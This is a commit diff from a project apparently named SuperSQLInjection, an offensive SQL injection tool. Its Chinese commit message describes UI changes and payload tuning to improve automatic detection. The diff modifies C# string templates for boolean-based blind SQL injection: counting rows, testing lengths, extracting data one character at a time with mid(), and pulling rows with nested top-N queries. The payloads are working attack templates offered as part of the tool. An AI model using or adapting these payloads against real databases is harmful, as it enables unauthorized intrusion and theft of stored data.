update 20181117
库表列新增全选和反选功能。 优化底部日志显示,增加色彩。 修改配置文件,优化payload语句以及测试语句,提高自动识别准确率,降低误报和漏报。 注意:此版本开始注入标记不在是替换and 1=1,而且替换1=1这个位置的语句,所以在手工标记时,记得保留and或者or。
This commit is contained in:
@@ -10,14 +10,14 @@ namespace SuperSQLInjection.payload
|
||||
public static String data_count = "(select count(*) from {table})";
|
||||
|
||||
//判断条数
|
||||
public static String bool_datas_count = " and " + data_count + ">={len}";
|
||||
public static String bool_datas_count = " " + data_count + ">={len}";
|
||||
|
||||
public static String substr = "mid(({data}),{index},1)";
|
||||
|
||||
//bool方式字符长度判断
|
||||
public static String bool_length = " and len({data})>{len}";
|
||||
public static String bool_length = " len({data})>{len}";
|
||||
|
||||
public static String bool_value = " and {data}>{len}";
|
||||
public static String bool_value = " {data}>{len}";
|
||||
|
||||
//获取行数据
|
||||
public static String data_value = "(select top 1 {data} from (select top {index} {allcolumns} from {table} order by {orderby} asc) t order by t.{orderby} desc)";
|
||||
|
||||
Reference in New Issue
Block a user